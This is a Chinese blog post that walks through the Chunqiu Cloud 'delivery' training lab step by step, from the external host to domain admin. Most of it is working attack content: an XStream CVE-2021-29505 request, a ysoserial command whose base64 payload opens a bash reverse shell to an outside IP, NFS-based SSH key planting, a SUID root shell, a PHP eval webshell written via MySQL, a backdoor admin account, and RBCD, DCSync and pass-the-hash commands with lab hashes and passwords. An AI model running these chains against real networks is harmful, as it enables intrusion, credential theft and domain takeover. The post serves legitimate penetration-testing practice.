内网渗透技战法-春秋云境delivery靶场

delivery

xstream RCE CVE-2021-29505
mysql弱口令+写马
ACL Admins写RBCD
linux写公钥连接
NFS利用
ftp提权

外网

[*] Icmp alive hosts len is: 1
39.99.135.35:80 open
39.99.135.35:8080 open
39.99.135.35:21 open
39.99.135.35:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://39.99.135.35       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[+] ftp://39.99.135.35:21:anonymous 
   [->]1.txt
   [->]pom.xml
[*] WebTitle: http://39.99.135.35:8080  code:200 len:3655   title:公司发货单

打xstream RCE，拿第一个flag，注意要用下面那个原版的，上边修改版的不行，反弹shell必须这么写，里面不允许再用单引号

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"


java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"

发包，多发几次，有时候没反应，多发包一直发

POST /just_sumbit_it HTTP/1.1
Host: 39.99.237.76:8080
Content-Length: 3117
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
Origin: http://39.99.237.76:8080
Referer: http://39.99.237.76:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>vps-ip</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>vps-ip</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

注意缩进

image-20260421180129-lzjcyr7

弹到shell后

image-20260421180032-f8z2i56

扫内网

[*] WebTitle: http://172.22.13.14       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.22.13.6     [+]DC XIAORANG\WIN-DC      
[*] WebTitle: http://172.22.13.28       code:200 len:2525   title:欢迎登录OA办公平台
[*] NetBios: 172.22.13.28    WIN-HAUWOLAO.xiaorang.lab           Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.13.57       code:200 len:4833   title:Welcome to CentOS
[*] WebTitle: http://172.22.13.28:8000  code:200 len:170    title:Nothing Here.
[+] ftp://172.22.13.14:21:anonymous 
   [->]1.txt
   [->]pom.xml
[*] WebTitle: http://172.22.13.14:8080  code:200 len:3655   title:公司发货单
[+] mysql:172.22.13.28:3306:root 123456


172.22.13.14 本机
172.22.13.57 CentOS
172.22.13.28  WIN-HAUWOLAO.xiaorang.lab    OA系统、mysql弱口令root/123456
172.22.13.6  XIAORANG\WIN-DC  DC域控

172.22.13.57 CentOS

proxychains rpcinfo -p 172.22.13.57

image-20260421181634-moidnke

proxychains -q showmount -e 172.22.13.57

image-20260421182100-9mavpbz

/home/joyce目录下的内容都可以导出

尝试nfs提权，在kali上挂载不上，需要在已拿下的机器上进行，下载nfs

sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
sudo apt-get update
apt-get install nfs-common -y

接下来在根目录挂载一下服务，将172.22.13.57的根目录挂在到本机的/temp，这样我们在本机/temp目录的文件操作（写入、创建）都可以同步到开启nfs服务的远程172.22.13.57的根目录

cd /
mkdir temp
mount -t nfs 172.22.13.57:/ ./temp -o nolock

挂载后只能访问/home，我们写入公钥ssh连接

ssh-keygen -t rsa -b 4096
cd /temp/home/joyce/
mkdir .ssh
cat /root/.ssh/id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keys
python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh  -i /root/.ssh/id_rsa joyce@172.22.13.57

image-20260421192947-u34us2m

上去后进行ftp的suid提权

‍在172.22.13.14起一个ftp服务

python3 -m pyftpdlib -p 6666 -u test -P test -w &

ssh连上172.22.13.57

ftp 172.22.13.14 6666
put /flag02.txt

kali直接ftp连上172.22.13.14读flag

image-20260421195051-kfuun15

image-20260421194855-n2jnigc

还有一个域凭证xiaorang.lab/zhangwen\QT62f3gBhK1

ftp另一种提权

首先在靶机上写入一个c文件到temp目录（已挂载到joyce的根目录）

#include<unistd.h>
void main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

进行赋权和编译

chmod -s shell.c

gcc shell.c -o shell

chmod +s shell

然后回到joyce用户，直接执行shell文件即可提权

cd /
./shell

172.22.13.28 OA系统、mysql弱口令root/123456

弱口令root/123456登录mysql，写shell

show variables like "secure_file_priv";

image-20260421195427-afn8ghi

空的可以写shell

show variables like "%general%"

image-20260421195406-3di5b7e

通过phpstudy起的服务，只要拿到shell就是system权限

select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

image-20260421195611-tqc7q25

写个用户rdp

net user mixian Mzc@123456 /add
net localgroup administrators mixian /add

内网猕猴桃抓hash之后

WIN-HAUWOLAO$     b5cd3591a58e1169186bcdbfd4b6322d

chenglei：Xt61f3LBhg1
0c00801c30594a1b8eaa889d237c5382

传bloodhound

proxychains -q bloodhound-python -d xiaorang.lab -u 'chenglei' -p Xt61f3LBhg1 -dc WIN-DC.xiaorang.lab -c all -ns 172.22.13.6 --zip --dns-tcp

image-20260421201840-d46ieaj

chenglei可以打DACL，因为chenglei在ACL admin组里net user chenglei /domain

image-20260421201501-vkorjlw

然后打RBCD

proxychains python3 addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
proxychains python3 rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'
proxychains python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6 
export KRB5CCNAME=Administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache
//export KRB5CCNAME=Administrator.ccache就行

改/etc/hosts把dc加进去

vim /etc/hosts
172.22.13.6     WIN-DC.xiaorang.lab

无密码连上去，之后读flag就行

proxychains python3 psexec.py Administrator@WIN-DC.xiaorang.lab -k -no-pass -dc-ip 172.22.13.6

这种方式连上后是system权限

image-20260421205104-v93hh28

方法二：这里也能打DCSync权限

image-20260419142234-pii54p1

WIN-HAUWOLAO.XIAORANG.LAB有CHENGLEI的session

登陆chenglei的远程桌面使用powerview给chenglei账号添加DCSync权限

Import-Module .\powerview.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose

域外可以用dacledit.py

proxychains python3 dacledit.py xiaorang.lab/chenglei -hashes :0c00801c30594a1b8eaa889d237c5382 -action write -rights DCSync -principal chenglei -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.13.6

image-20260421204335-7huks79

导出所有域内用户hash

proxychains python3 secretsdump.py xiaorang.lab/chenglei@172.22.13.6 -hashes :0c00801c30594a1b8eaa889d237c5382 -just-dc-ntlm

image-20260421204511-9g9bv4s

最后使用wmiexec hash传递（pth）

proxychains impacket-wmiexec -hashes :6341235defdaed66fb7b682665752c9a xiaorang.lab/Administrator@172.22.13.6
proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.13.6 -hashes :6341235defdaed66fb7b682665752c9a -codec gbk

image-20260421204741-ox20o0a

‍

posted @ 2026-04-21 21:23 m1xian 阅读(31) 评论(0) 收藏举报

刷新页面返回顶部

m1xian

内网渗透技战法-春秋云境delivery靶场

delivery

外网

172.22.13.57 CentOS

ftp另一种提权

172.22.13.28 OA系统、mysql弱口令root/123456

公告